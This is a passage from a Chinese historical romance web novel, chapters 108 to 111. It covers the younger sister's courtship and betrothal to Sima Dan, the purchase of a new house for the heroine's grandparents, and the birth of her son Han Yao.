曲长平转身上楼,曲老爹见儿子姗姗来迟松了口气。等儿子坐下后,他意有所指道:“能开起这么大的酒楼,没有韩家是做不到的。” 曲长平低头不语,即便将来自己做官,也不可能比将军府更有势力,最重要的是姚轻雪从来没把他放在心上。曲长平苦笑,端起杯中酒一仰而尽。 姚轻雪和韩泽在饕餮楼待了半个时辰才离开,但她不想这么快回家,便提议去韩莺的铺子瞧瞧。 韩莺对铺子特别上心,每日都早早去店里。然而,他们到了铺子却没瞧见韩莺。 第108章 第108章司马澹 韩莺不在,姚轻雪只当她回家了,韩泽却从店中伙计的脸上看出一丝慌张。 “大小姐去了哪里?”韩泽厉声质问。 伙计是韩家家仆,知晓韩泽的脾气,见被他发现“噗通”一声跪在地上。“大小姐和司马公子出城游玩去了。” 韩泽眯了眯眼,“哪个司马公子?” “小的不知,只听小姐唤他司马公子。”伙计将头点在地上不敢看韩泽。 “大小姐常与那司马公子来往?两人认识多久了?”韩泽追问。 “何时认识小的也不知,记得上个月司马公子来买点心,大小姐似乎与他相识,从那之后司马公子常来买糕点。”伙计在心里叫苦不迭,大少爷从来不来这里。大小姐也是第一次跟人出去,怎么这么巧撞上了?今日也是倒霉。 韩泽忍着怒气,对姚轻雪道:“我先送你回家。”” 先送我回家,你要去哪里?” 韩泽冷声道:“瞒着家里与陌生男人出城,我这个做兄长的岂能做事不管。”等找到人,先把那个姓司马的揍一顿。 “消消气,说不定是你认识的人呢。”姚轻雪给他抚胸口,“莺莺都这么大了,与人出去玩也没什么要紧。你现在去抓人,会让妹妹没脸面,京中好事者甚多,原本没什么被你这么一弄传出去的话也不好听了,凡事等莺莺回家再说。” “好。”韩泽深吸一口气,“走吧,还想去哪里,我陪你。” 姚轻雪哪里还有心思逛,两人决定回家等韩莺。坐上马车见丈夫还气呼呼,她笑道:“你我当初不也出城赏过花吗?怎么到了莺莺这你就接受不了了,我要是有哥哥如你这般你怕是得挨打吧。” “韩莺涉世未深性子单纯容易哄骗,那个司马公子什么秉性我又不知,万一他对莺莺不轨如何是好?” “别小看妹妹,她可不傻。而且不相处怎么知道什么秉性?要我说你是关心则乱,莺莺的身份摆在那儿,那人不敢乱来。”姚轻雪拉过他的手,手指挤进他的指缝。 “我觉得莺莺有权利自己挑选丈夫,不能因为她是姑娘就区别对待。你当初若不是坚持自己,咱俩也不会有今天。莺莺必然有自己的想法,不如多相信她一些。” 韩泽回握着她的手,“莺莺若是有你一半本事我也就不担心了,算了,等她回家再说吧。” “这才对嘛。”姚轻雪打了个哈气,把头靠在他肩膀上,“其实我是支持两个人成亲之前多相处多了解的,不然都不知道什么脾气秉性,若是性格不合,成亲以后苦日子才是开始,若总是争吵哪有幸福可言。” “哎?”姚轻雪突然抬起头,“咱俩成亲这么久好像都没吵过架呢。” 韩泽挑眉,“你想吵架?” “好好的吵什么架,我又不是吃饱了撑的。”姚轻雪重新靠回去,“我的意思是咱俩互相了解,脾气相投又能相互包容,若是没有成亲前那段时间的相处,现在不一定这么和谐。推己及人,不要对韩莺过分、苛责。” 韩泽转头就见刚刚还在说话的人已经睡过去了,韩大人无奈,自打怀了孕她是随时随地都能睡着。前一刻精神百倍,转瞬便瞌睡连连。韩泽抬手护住她,免得她倒下去。 姚轻雪是在床上醒来的,春佟打来温水给她擦脸。“什么时辰了?韩泽呢?” 春佟道:“已过了申时正,大少爷在前院,少夫人可是饿了?” 姚轻雪摇摇头,“还不饿,韩莺回来了吗?” “好像是没有。”春佟洗着布巾,“您和大少爷找大小姐有事吗?大少爷走之前也问过这话。”下午是秋月和雨竹随姚轻雪出的门,俩丫鬟不敢乱说,所以韩莺的事春佟并不知情。 姚轻雪:“去前院。”别看韩泽嘴上总是嫌弃妹妹,但谁要是欺负了韩莺,韩泽绝对不会放过他,她得去看看。 姚轻雪换了衣服去前院,但韩泽没在,韩母纳闷,“他刚来转了一圈就走了,没回东院?” “大概去了马厩,我去找他。”看意思韩泽并未对母亲说,姚轻雪也就没多嘴。等弄清楚了再说不迟。 出了正院,姚轻雪直奔大门而去。韩泽果然在那。他坐在大门外,两手抱着胳膊眉头紧皱。门房瞧他心情不好都没敢问。 姚轻雪让人搬来一把椅子放到韩泽旁边。 “你出来做什么?外面风大快回去。”韩泽往回撵人。 “我陪你。”姚轻雪挨着他坐下,“咱可说好了,等会莺莺回来你先问清楚,不能上来就发脾气。那么大的姑娘很要面子的。你要是劈头盖脸地训我,我也不乐意。” 两人坐在大门外,韩漳回来见他俩这般问道:“大哥大嫂你们可是在等我?” 韩泽看他一眼没说话,韩漳嬉皮笑脸道:“原来不是在等我啊,那是等谁?爹还是二哥?还有谁没回来吗?” 姚轻雪小声道:“莺莺!” 韩漳蹲到大嫂旁边:“为何要等莺莺?她又不是第一天出门有什么好等的。做错事了?” 姚轻雪看一眼韩泽,比了个噤声的手势。韩漳便不再多问了,他大哥看上去很生气。门房见三少爷蹲那也不像话,便又搬来一把椅子。 韩浩下直回来瞧见自家门口的仗势,着实疑惑:“你们这、是?” 还不等人回答,韩泽猛地站起身。姚轻雪也扶着腰慢慢起来,只见一辆马车慢慢走来,很快在韩府门口停下。 司马澹先下的车,他看见韩泽等人心里就是一突。但他还是硬着头皮,回身把韩莺搀扶下来。 姚轻雪打量司马澹总觉得眼熟,好像见过但一时想不起来。 “司马澹!原来是你。”韩泽的声音透着寒气,“私自带家妹出城,你想干什么?你的礼仪修养呢?” 一听他这语气,韩漳和韩浩大概知道怎么回事了,俩人一左一右站到韩泽身边。韩泽和韩浩身居要职气质凛然,压迫感十足。 司马澹心里叫苦,若是被这三兄弟打一顿,他怕是明日上不了直了。 “司马澹见过韩少卿!见过指挥使大人!见过三少爷!”司马澹拱手一揖到底,姿态倒是放的很低。 韩莺冲过来挡在他前面,“大哥二哥三哥,你们这是做什么?干嘛吓唬他。” 还没怎么地呢就护上了,韩泽脸黑如锅底,他把韩莺提留过来扔给韩漳。“带她回去。” “好的大哥。”韩漳拽着妹妹往门里走,韩莺挣扎。 姚轻雪道:“莺莺你先回去。” 韩莺委屈道:“大嫂!” “不会有事,先回去吧。”姚轻雪拍拍她的手。 韩莺一步三回头回了院内,等韩莺绕过影壁,姚轻雪回头,就见韩泽和韩浩将司马澹夹在中间。 那司马公子跟个受气包似的,姚轻雪过去小声道:“真要在这里说?”来往行人见似乎有热闹可瞧,站在远处正往这边看呢。 “都到家门口了,司马大人去府上坐坐。”韩泽语气不容拒绝。 韩浩抬手:“司马大人请。” 司马澹汗都快下来了,但仍旧微笑拱手:“叨扰了。” 众人来到院内,韩泽命人将大门关上,随后对姚轻雪道:“你先回去。” “好!”想娶人家妹妹,总得经得住哥哥们的考验,韩泽和韩浩试一试他也不为过。 司马澹看着逐渐远去的身影,他很想让人留下。有韩莺的大嫂在,韩泽必定不会对他动手,姚轻雪不在那就不好说了。 最终司马澹没有挨揍,但是很快被赶出韩府。门口这么大动静自然瞒不过韩母,这事也不能瞒。 韩母知道韩莺私自与外男出城游玩也是气得不轻,勒令韩莺从明日开始不准出门。 韩莺想要争取,但三个哥哥没有一个帮自己,她想找大嫂,大嫂定会理解她帮她,但姚轻雪不在。且大哥还吓唬她:不准她劳烦姚轻雪。 韩莺气得跺脚:“只准州官放火不准百姓点灯。我只不过与他出去玩了一次有什么大不了?我嫁人还是你们嫁人?我就想找一个自己喜欢的人有错吗?大哥二哥都娶了喜欢的人,我就不行吗?哇……”韩莺委屈的哇哇大哭。 韩泽看着她:“再敢 无理取闹你便永远别想见到司马澹。” 大哥向来说到做到,韩莺立马收了声,她怯怯道:“我没有无理取闹,我俩互相有好感,我就想多了解他一些,我并不是要瞒着你们。我是想等我认定了他再跟父亲母亲说的。” 韩漳问她:“你认定他了?” 韩莺低下头,声如蚊子:“我、我觉得他挺好的。” “回房去。”韩母冷着脸把人撵走。 女儿走后,韩母立刻问长子:“司马澹什么来头?配不配得上你妹妹?” “博州知府的嫡子,上一届探花也是本朝最年轻的探花,今年二十一岁,现任户部员外郎。”韩泽仔细回想了一下,韩莺之所以能认识司马澹,怕是跟他有关。 韩漳眨眨眼,“这么厉害他咋看上莺莺的?” 韩母:“……” 第109章 第109章搬家 韩母本来对司马澹与女儿私自相会非常生气,但听到他的家境和条件,气便消了大半。“司马澹家境不差前途广阔,这么说来他和你们妹妹倒也相配。就是不知人品如何?家风可正?” “此人我略有耳闻,年轻有为颇得上峰赏识。”韩浩看向兄长,“若他与莺莺情投意合,不失为佳婿人选。大哥,司马澹固然有失礼之处,但也可以理解。” 喜欢一个人会情不自禁,未与芸姝成亲时,他总是想人想的抓肝挠肺,却因为规矩礼制不得不忍着相思之苦不能相见。 韩漳:“大哥你打他了?”他刚刚往回拽妹妹,等再回大门时司马澹已经走了。 “我若动手,他今日能走出大门?讲道理而已。”韩泽嗤笑,“他若这点委屈都受不得也不配娶莺莺。司马澹我会仔细查一查,若表里如一人品可靠,父亲母亲做主便是。” 回到东院,姚轻雪问他:“动手了?” 韩泽好笑:“在你们眼里我是一言不合就动手?我有那么不讲理?” “你们?除了我还有谁?”姚轻雪往嘴里塞了个梅干肉。 韩泽看着她吃,嘴里不禁泛酸。“三弟。” 姚轻雪见他喉咙微动,就知道他嫌酸了,等韩泽坐下她突然把脸凑过去,出其不意亲了上去,还故意用舌头舔了一下他的嘴唇。做完坏事她奸计得逞般大笑。 韩泽无奈至极,擦了擦嘴,又喝了几口茶方才把酸味冲淡。“忘了跟你说永德巷有宅子要卖,二进的院子,爷爷奶奶他们住足够了。” “永德巷?”姚轻雪想了想位置,然后发现距离将军府只有两条街,走过来也就一刻钟左右,位置很理想。她放下梅子干,拍了拍手起身道:“走,去看看。” 韩泽把人拉住,“天色晚了,明日再去。” “万一今晚有人买了怎么办?”好不容易等到有人卖宅子,她可不想错过。 韩泽:“不会,卖家我认识,已经让他给留着了,你若没相中他再卖与旁人。” “那便好。”姚轻雪坐下来又开始吃梅肉,“什么人家卖宅子?为何要卖?多少银子?” “礼部官员,致仕回老家,两万两。” 姚轻雪笑,“多说几句能累着你?”三句话一个废字没有。 韩泽也笑:“习惯了。”办案时若是废话太多,犯人说不定就跑了。他也要求手下言简意赅少说废话。 “若是宅子不错,这个位置两万两银子可以。”附近住的都是朝中官员,而且都不是芝麻小官,所以治安不错。 姚轻雪揉揉后腰,坐一会儿腰就开始酸了,她想起身活动活动,屁股刚离开椅子便大叫:“哎呦!” 韩泽以为她抻着哪儿了,紧张地问:“怎么了?哪里不舒服?要不要找郎中?” 姚轻雪慢慢坐下,委屈巴巴道:“他刚刚狠踢了我一脚。” “我瞧瞧。”韩泽蹲下身趴在她肚子上,听了会儿没动静。然后他便用手抚摸姚轻雪的肚子:“听话,别折腾你娘,因为你她吃了很多苦,你不能不孝。” “哈哈……”姚轻雪两手撑住椅座,上身往后仰着大笑。“他要是能听懂就奇了,哎呦。”她笑得正起劲儿,突然肚子又疼了一下。 有反应,这是听到了?姚轻雪赶忙把韩泽脑袋推开,“快别跟他说了,你们父子交流疼的是我。” “回床躺着吧。”韩泽扶人上床,“这孩子怕是个淘气的。” 姚轻雪找了个舒适的位置靠在床头,“淘气不怕,给父亲母亲带。”公婆那么想要孙子,一定很乐意。 韩泽给她捏腿,“我看行。”他跟媳妇都有自己的事要做,交给丫鬟嬷嬷总是不大放心,父亲母亲完全不用担心。 “阿嚏。”正与韩父说话的韩母突然打了个喷嚏。 韩父:“着凉了?天气才刚暖和起来,别穿那么少,一把年纪了还当自己年轻呢。” “什么叫一把年纪了?我很老吗?”韩母瞪眼。 韩父哼道:“孙子都快生了,眼看做奶奶的人了还不老呢。” “你这张嘴可真是。”韩母无奈,“幸好孩子们不像你。” “怎么不像我?润青最像我。”韩父反驳,“武艺高强做事稳妥,深得陛下信任。” “行,你说的都对。”韩母不想跟他争辩,“说莺莺的事呢,少打岔。那个司马澹你觉得怎么样?难得莺莺喜欢,我觉得不错。” 韩父:“明日我去户部找李大人喝酒,顺便打听这个司马澹为人如何。”再朝为官最了解他的莫过于同僚和上司。 听说父亲和大哥出去打听司马澹了。韩莺既高兴又忐忑,高兴的是她和司马澹有戏,不安的是怕司马澹达不到父兄的期望。也不知那日在门口哥哥和他说了什么?她想去找他,可是母亲大门都不让她出,铺子更是交给别人打理。 早饭后韩莺过来找姚轻雪,她想跟嫂子说说话,这家里能理解她的怕是只有大嫂了。到了东院才知大嫂一早就和她哥出门了。 姚轻雪和韩泽来到永德巷待卖的宅子,卖主正在收拾东西。因为要回老家,能带走的东西不多,家具等大物件就都贱卖了。 院子够大,房子维护的也很好,里里外外转了一圈,姚轻雪对宅子很满意,又问了问左邻右舍的情况,当下便决定买下来。 韩泽:“不让爷爷奶奶过来瞧瞧吗?” “不用,他们瞧了只会嫌贵。”两万两对姚家来说不是小数目,以姚福和刘氏的性子定然不愿花她的钱。所以就别问了,这宅子比葫芦巷好太多,不怕他们不喜欢。 跟卖主商议好明日过契,两人慢慢往家里溜达。姚轻雪突然问:“我给爷爷奶奶买宅子你会不会不高兴?” “我?”韩泽两手扶着她,“你赚的银子用在哪里给谁用我不干涉,而且姚家需要你看顾,从决定跟你在一起时我就明白,别想有的没的。大理寺少卿的俸禄足够我用了。” “嘿嘿,我夫君天下第一好,我可真有福气。放心!我不会无底线帮娘家,宅子买了以后就不会有大花销。”姚轻雪往他身上靠了靠,眉眼弯弯道:“以后我每月给你些零用,你可以攒私房钱。” “私房钱?”韩泽琢磨了下,媳妇给的私房钱,感觉还不错。 第二天韩泽一个人过去把宅子买了下来。姚轻雪想快点让爷爷奶奶知道好消息,便和韩泽一起出了门。 去大理寺和葫芦巷是一个方向,两人正好顺路。韩泽把人送到姚家门口,再把人搀下车。走之前他不忘叮嘱:“小心着点,若哪里不舒服赶紧找郎中。还有别待太久,你身子重,要在日落前回府,搬家的事交给曹叔。” “知道了。”姚轻雪嘟囔:“啰嗦,我又不是小孩子。” 韩泽捏捏她因为怀孕大了一圈的脸,“别不爱听,谨慎些总没错。” 姚福和刘氏拿着房契很惊讶:“这就买了?多少钱?” 姚轻雪伸出两个手指晃了晃。刘氏问:“两千两?” 姚福道:“咱家这房子两千两还差不多,将军府那地界两千两能买下来?”他问姚轻雪,“两、两万两?” “嗯。”姚轻雪点头,“这还是看在韩泽的面子上便宜了呢,不然得卖到两万两千两。” “哎呦,这也太贵了。”刘氏心疼的直捂心口,“你花这么多银子买宅子,你婆家能乐意?姑爷没生气?” “银子我赚的,他们不管,你们也别担心。”姚轻雪看了看刚修缮不久的房子,“这里打算卖了还是租出去?” 姚福:“那边地方大,离饕餮楼近,离你也近,搬过去也好。这里就卖了吧,银子给你,其余的我们一点一点还。” “你爷爷说的对。”刘氏也道,“银子我们慢慢还,你回去跟润青和你婆母说清楚。” 姚轻雪无奈,好说歹说加上威胁不理他们,才让二老以后别提钱的事。 刘家三口听说买了大宅子也跟着高兴,“姑娘,您瞧瞧家里东西都带过去吗?还是换新的?” “东西都能用呢,换新得不少钱,都拉过去接着用。”刘氏可不想孙女再为他们花钱。 但她做不了主,姚轻雪几个屋子转了一圈,发现家里的家具都旧了,桌椅有的都糟了,搬进搬出的一折腾怕是都得散架,不如买新的。 姚轻雪让爷爷奶奶明日去将军府,他们一起去看新宅子,然后再去买家具。 等她走后,刘氏不满地嘀咕:“越来越霸道,我说话都不好使了。” 姚福笑道:“没点脾气哪能镇得住饕餮楼那么多男人。”他也发现孙女越来越有东家的气势了,“孙女一片孝心,你也别心疼银子,等芽芽嫁人,宅子还给雪儿便是。” “那这处宅子还卖不卖?不留给芽芽?”大孙女银钱上不用他们愁,但芽芽他们不能不管。 姚福:“卖了吧,芽芽还小,等她长大些再说。” 接下来姚家忙着搬家,东西大多不要,所以只用了四天便搬了过去。韩母和芸姨娘都过去坐了会儿。 姚家搬到附近,最高兴的莫过于韩娇和芽芽,两个小姑娘久为见面,在一起有说不完的悄悄话。离开时,芸姨娘唤了几声,韩娇才依依不舍地跟芽芽告别。 韩莺揪着妹妹的发梢:“等安顿好芽芽就去家里和你一起读书,你急个什么劲儿。” “嗯!”芽芽笑眯眯道,“过两日我便过去找你。” 芸姨娘笑道:“娇娇可算是有伴儿了。” 韩母招呼人回家,“天色晚了,回吧,明日再来。”明天休沐,丈夫和儿子都得过来瞧瞧。 翌日,还不等他们出门,司马澹来了韩家。 第110章 第110章生了 司马澹亲自上门提亲,他本以为会被韩莺的三位哥哥刁难。哪料将军府开正门把他迎进去。他哪里知道,韩泽已将他的过往查得一清二楚,连他爹娘的底细都摆在大理寺少卿的桌案上。 按常理像司马澹这样的良才,在中探花时想要他做女婿的人家不会少。事实也确是如此,上门提亲的人有富商千金、高官之女。就连顶头上司都几番暗示,但都被他以年纪尚轻先立业后才成家给拒绝了。 比他权势高的不好追着让他娶自家女儿,比他官职低的也不敢逼他太紧,就这么拖到现在。 总的来说家风良好,司马澹本人也过得去,韩泽这关过了,他便不再管了,亲事如何定是父亲母亲的事。 韩将军看着眼前的文弱书生,皱眉不说话。他心中理想的女婿是身材高大、即便不会武艺也不能不经揍,眼前这个跟他三儿子差不多。面皮白嫩,弱了吧唧,怕是一巴掌就得把他拍趴下,想跟他切磋肯定是不行了。 司马澹感觉额头上汗都快下来了,内心慌乱但面上一派宠辱不惊,拱手行礼:“司马澹见过韩将军!见过韩夫人!见过韩少卿韩少夫人!” “就是你要娶我女儿?”韩振虎着脸道,“你可想好了,娶我韩振的女儿不得纳妾、不得养外室、不得眠花宿柳,违反哪一条本将军都不饶你。” 这几条比公主选驸马都要苛刻。姚轻雪忍笑,韩父对她和周芸姝都很和气,如今到了要嫁女儿便没好脸色了。她偷偷跟韩泽咬耳朵,“将来咱家女儿的心上人上门,你是不是也这般到不舍?” “哼!”韩泽冷哼:“肖想我的女儿,腿给他打断。” 就在一个屋子里,韩泽虽放低了声音,但最后那几个字还是飘进了司马澹的耳朵里。一向冷静自持的司马澹只觉得腿一软,要不是几年官场练就了几分宠辱不惊的本事,怕是真要跪了。 韩母瞪了一眼儿子,转头笑着对人道:“坐吧。” 待司马澹落座,韩泽站起身:“没我什么事,我们走了。”说着他去扶身侧的媳妇。 姚轻雪借着他的力道慢慢起身,然后给韩父韩母微行一礼。“父亲!母亲,儿媳告退。” 韩母连忙摆手,“在家里就别多礼了,身子要紧。” 走出正厅,韩泽问:“坐车?” 姚轻雪一手撑着后腰,一手扶着肚子慢腾腾走着:“算了,走路吧,大夫让我多活动。”住的近就是好,不用坐老半天车,走着就能回娘家。 姚家二老一早就让刘达和夫妻买了肉菜回来,中午准备留将军府的人用午膳,结果都没来。 走累了的姚轻雪进屋就坐到椅子上。刘氏给她拿来一个软垫放在她腰后。“怎地就你们两个过来了?” “爷爷奶奶!今日家中有事,父亲母亲不得空。”亲事能不能成还未可知,姚轻雪便没有跟二老说。 几人在堂屋说着话,小白不知何时溜达进来,跳上姚轻雪的椅子上,盯着她的肚子瞧。 韩泽怕猫伤到媳妇,伸手要把它抱过来,小白一跳蹲到姚轻雪两腿之间。它像是知道不能踩到人似的,四只小脚将将踩在椅子边上。 “没事,让它待着吧。”姚轻雪摸了摸小白柔软蓬松的毛。 小白把脑袋凑到她肚子前闻了闻,然后小心地抬起爪子碰了碰。韩泽在一旁紧紧盯着,随时准备在猫举爪拍媳妇肚子前把它拎走。 刘氏见他紧张的样子,笑道:“不用担心,小白聪明着呢,它知道雪儿肚子里有小娃娃,不会伤她。” 饶是刘氏这么说,韩泽也不敢放松。刘氏便过来把小白抱走放到门外。 大约一个时辰后,韩父韩母领着韩家众人提着礼物上门祝贺。最让人意外的是司马澹竟然跟了过来。韩莺羞答答地跟在人群后头,和司马澹隔着不远不近的距离。 韩父已经不复早上时的臭脸,看来婚事应该是成了,姚轻雪想。 韩莺小跑过来,挽住姚轻雪的胳膊黏糊糊道:“嫂子!” “成了?”姚轻雪问她。 “嗯。”韩莺红着脸点头,随后她用手遮住嘴凑过来小声道:“父亲要把他赶走,我说今日嫂子娘家乔迁宴客,司马澹理应过来道贺,于是我们就都来了。” 姚轻雪心道难怪韩母都说不来了,却临时变卦。索性时间还早,肉菜也都有午膳不耽搁。她问韩莺:“就这么喜欢?” “嗯。”韩莺重重点头,“我终于理解当初大哥非你不娶时的心情了,喜欢上就放不下了,嫂子你说人怎么会这么喜欢另外一个人呢?” 第一次动情的小姑娘满心欢喜,整个人如明媚的春色。 韩莺亲事定下,韩母终于了了心中大事,也不出去喝茶了,每天盯着怀孕的儿媳。与她用膳、陪她遛弯。 姚轻雪:“母亲,妹妹亲事定下,那三弟呢,您不给他张罗?” “男孩子不着急,只要他有本事七老八十也能娶到女人。”韩母不在乎道,大孙子眼看就要生了,小儿子何时成亲就没那么重要了。随后她反应过来,“你这是嫌我烦了?” “怎么会呢。”姚轻雪挽住韩母的手臂笑嘻嘻道。 “你也别嫌烦,你这肚子一天比一天大,身边不能离人,旁人我放心不下。”韩母拍拍儿媳的手背,“这段时间最是难熬,为人 母最难的时候莫过于此了,你辛苦了。” 转眼到了七月,姚轻雪的身子越来越沉重,夜里常常睡不好。这天夜里她醒了就再也睡不着,又不敢有太大动作,怕吵醒韩泽。 也不知过了过久,外面渐渐亮起来,晨曦微光透过窗户照进来。姚轻雪转头看向身边的男人。夜里睡不好也连累了韩泽,她白天可以补眠,而他要上直,日子久了下眼皮都青了。不过,即便脸色不好她的男人也最帅,姚轻雪臭美地想。 韩泽似有所感缓缓睁开眼,姚轻雪的心漏跳半拍,连睁眼都令人脸红心跳。 微弱的晨光中枕边人正眉眼含笑地望着自己,韩泽的心化成一滩水,嘴上却道:“你偷看我。” 姚轻雪大笑:“看你还用偷看?我的男人,我光明正大地看。” “昨晚没闹你?”韩泽把手放在她肚子上。媳妇晚上睡不好,多半是因为肚子里的小家伙太过活跃,把他娘的肚皮都快踢破了。也不知道他大半夜不睡觉在肚子里干嘛。 “昨晚倒是很安静。你说他生出来以后会不会也这样?白天睡觉夜里折腾人。”姚轻雪不免为将来感到担忧。 “不怕。”韩泽轻轻抚摸着,“生出来就有办法治他。” 屁大点孩子除了哭什么都不懂,还有办法治?姚轻雪歪头问:“怎么治?你带他出去跑几圈?”说完她把自己逗乐了。 笑着笑着,突然“哎呦”一声,韩泽的手一僵,傻傻地问:“我把他摸醒了?” 姚轻雪脸色发白,“韩泽,我可能要生了。”安静了一个晚上,原来是憋大招呢。 韩泽愣了一瞬后跳下床,“坚持住,我去找母亲。” 人一溜烟地跑没影了,姚轻雪翻了个白眼,头回听说生孩子坚持住,还能憋着不生?找人你让丫鬟去啊,他自己跑去干嘛?韩泽也有蠢的时候。 开门的动静惊醒了隔壁的孙嬷嬷,老太太赶紧穿上衣服进屋一瞧,床上已经湿了。她赶紧把几个丫鬟喊起来,烧热水和准备吃食。 等韩母到时,姚轻雪已经疼得冷汗直流。自从推算出大概生产日期,稳婆便一直住在府上,所以她与韩母前后脚到了东院。 光着脚、只穿里衣的韩泽站在床边不知所措。韩母呵斥道:“穿上鞋和衣服,到外面等着。” 韩泽不想走,看着床上的人疼得脸都白了,他的心也揪着一样疼。这个时候不看最好,可他偏偏挪不动腿。 春佟找来韩泽的衣服和鞋子,“大少爷您去外面等着吧,产房男人不能待的。”见他不动,春佟把心一横,“得罪了。”她把韩泽推出了房间。 韩父进院便看见儿子衣冠不整、失魂落魄的样子。他走上前拍拍儿子的肩膀,以过来人的口吻安慰道:“女人生孩子且得等呢。” 或许是姚轻雪身体底子好,也或许是这个孩子攒了一晚上的力气,只为尽快冲破桎梏来到人世间。两刻钟不到,屋内就传出婴儿的哭声。 韩父惊讶:“这么快?你母亲生你时,疼了几个时辰才把你生出来。” 听到孩子的哭声,韩泽大大松了口气,随后听到父亲的话,心中不免有些自责。原来母亲生他时那么辛苦,而他却总惹母亲不快。 孙嬷嬷的声音隔着房门传出来:“是男孩!恭喜夫人!” 听到是男孩,韩父咧嘴一笑,孙子,他有大孙了子。再也不用羡慕别人含饴弄孙了。 韩泽也高兴,但他更担心姚轻雪如何?便隔着门问:“母亲,雪儿怎么样了?要不要紧?” 韩母抱着孙子,对床上汗津津的儿媳道:“听见了没?儿子都没问一句,最关心的还是你。”【你现在阅读的是 】 110-120 第111章 第111章韩曜 算他有良心,姚轻雪心想。待房间收拾干净,韩母才让儿子进来。韩泽进屋看了一眼母亲怀中的孩子便直奔床边。 韩母送出去的胳膊又慢慢收了回来。儿子不稀罕她便把孙子抱去隔壁给丈夫看。韩将军看着皱巴巴的小婴儿,搓搓手想抱又怕自己粗手粗脚伤到孙子,几次伸手又缩了回去。 韩母把孩子往丈夫手里轻轻一放,嘴上指挥:“托住脑袋和屁股。” 韩父支着两条胳膊僵硬地抱着孩子。韩振虽是五个孩子的父亲,但他几乎没抱过儿女,孙子便不一样了。 或许是知道换了人,也或许刚到的怀抱不舒服,小娃娃哼唧哼唧要哭。“快快快,要哭了。”韩父如临大敌。 “给我。”刚知道信儿的韩祖母和芸姨娘等人也到了。老太太几步走过来把孩子接过去,低头仔细瞧:“长得可真俊,像他爹。” “我怎么看着很像我呢?”韩父凑过去看孩子的脸。 “也像你。”老太太敷衍了一句,转头问儿媳:“雪儿怎样了?遭罪没?” “没有,顺畅着呢。”韩母笑呵呵道:“我生仨都没她这么顺。”女人生孩子就是鬼门关走一遭,有人能疼大半天甚至一天,像姚轻雪这样的着实少遭不少罪。“是个有福的。” 老太太看向怀中的曾孙,“是他心疼他娘。” 周芸姝眼巴巴地看着,韩祖母把孩子给她。“抱抱吧,沾沾福气。”也许很快就怀上呢。 韩莺扯扯母亲的袖子,“我侄子怎么长这样啊?大哥和大嫂都不丑,怎么会生出这么丑的孩子?” 她声音虽低,但大家围在一起,该听的都听到了。老太太、韩母和芸姨娘俱是大笑。韩母道:“孩子刚出生都这样,长长就好了,你刚出生时也这么丑。” “我也这么丑?”韩娇拧着眉头。 芸姨娘摸摸女儿的发顶,“现在好看。” 韩漳和韩莺都想抱刚出生的侄子,韩母没让:“手上没个轻重,伤到了怎么办。” 韩莺不满地撇撇嘴,韩祖母点了下她额头。“都快嫁人了,还这么孩子气。”说到这韩祖母突然想起亲家来。“给姚家送信了吗?” 韩母一拍手,“光顾着高兴,我现在就派人去通知。”她往外走差点与进门的儿子撞上。“雪儿睡了?” 韩泽点了下头:“刚睡下。” “好。”韩母脚下未停,“让厨房把老母鸡炖上。” 见孙子来了,韩祖母把孩子抱给他。韩泽小心地抱过孩子,小小软软的一团,还没有他手臂长,这就是他与雪儿血脉相连的孩子,韩泽只觉眼眶发酸。 韩祖母:“瞧瞧这眉眼,多像你。” 韩泽仔细瞧也没从闭着眼、丑巴巴的小脸上看出哪儿像自己。不管像不像都是他的种,雪儿怀胎十月吃尽辛苦生下来的。 被抱来抱去换了几手,扰了人家好眠,刚到他爹怀里不久小娃娃便张开小嘴哇哇哭。新手父亲一时间不知所措,求助地看向祖母。 芸姨娘伸出手:“给我吧。”她抱过去边踱步边轻轻拍着襁褓,很快孩子哭声便小了。“刚生下来哭声就这么响亮,将来定是干大事的。” 韩祖母笑道:“只怕是脾气也不小。”像他爹。 没多久姚福和刘氏领着芽芽到了。姚轻雪还睡着,三人先去隔壁看孩子。 韩娇和芽芽趴在床边稀罕的不行。韩娇:“你是姨姨,我是姑姑。” “嗯。”芽芽拄着下巴笑眯眯道,“等他长大些咱俩带他玩儿。” 韩娇:“嗯嗯,我有好多好玩的都给他。” …… 将军府喜得麟儿,亲朋都来道贺,宫中也送来贺礼。满月宴定在一个月后的八月十六。 穿着红衣服的韩曜被抱到客人面前,他睁着乌溜溜的大眼睛到处看也不怕生。名字是韩将军取的,早在孩子出生前就想好了。 经过一个月的好吃好睡,韩曜长得白嫩许多,见人凑近他就咧嘴笑,特别招人喜欢。韩母抱着孙子可是得了好一顿夸奖。姚轻雪跟在婆母身后也听到不少好话。 有人悄声说姚轻雪命好,身为厨娘先是嫁进将军府,后开了饕餮楼,如今又生下韩家嫡长孙,世上有几个女人有这样的好运。 姚轻雪但笑不语,多难听 的话她都听过。闲言碎语听多了也会习以为常。 韩母耳尖,虽只听了只言片语但也猜出个大概。儿媳虽出身低微,但她自己本事大啊。满京城打听打听还有谁不知道饕餮楼?既能赚钱还给她生了孙子,姚轻雪就是韩家的大功臣。 韩母笑着道:“我这儿媳要强,饕餮楼是她自己开起来的,宁愿借也不要我们出钱,现在还欠着陛下的银子没还呢。” 饕餮楼的事外人并不知道细节,现在一听姚轻雪欠陛下的银子,谁都不吭声了。有人在心里嘀咕陛下的银子那么好欠?若没有将军府这层关系,区区厨娘连皇帝的面都见不到,又怎么会有机会买下饕餮楼?不过没谁会把这话说出来。 将军府热闹了一天,晚上姚轻雪刚给孩子喂完奶。雨竹进来道:“二少夫人有喜了。” “你怎么知道?”姚轻雪把孩子放到床上,吃饱的韩曜打了个哈欠慢慢闭上眼。这么大点的孩子除了吃就是睡,完全没有出现她担心夜里哭闹的情况,特别省心。 “奴婢刚刚去前院瞧见郎中刚走,便问了一嘴府上谁病了?一问才知是二少夫人有了身孕。”雨竹欢快地说道,“满月宴刚结束二少夫人就有喜了,大家都说是咱们小少爷带来的。” 姚轻雪好笑,今日能查出来,周芸姝的孩子早就怀上了,跟她儿子半点关系没有。她换了身衣服去了周芸姝和韩浩的院子。 韩母也在,见她过来忙问:“曜儿呢?” “睡了,一时半会儿醒不了,孙嬷嬷他们看着呢。听说弟妹有喜了,我过来瞧瞧。”姚轻雪看向靠在床头的周芸姝,“几个月了?” “两个月不到,跟你那时差不多。”芸姨娘满面带笑,盼了这么久终于盼来了。“这孩子也是个嘴严的,她早就知道可能怀上了,却一直闭口不言。” 今日宴客荤腥多了些,周芸姝闻到味儿便觉得难受,饭菜没吃几口。芸姨娘以为她病了,等送走宾客她便请了郎中回来。 周芸姝红着脸道:“上次月事没来,我也拿不准便没说,怕空欢喜一场。” 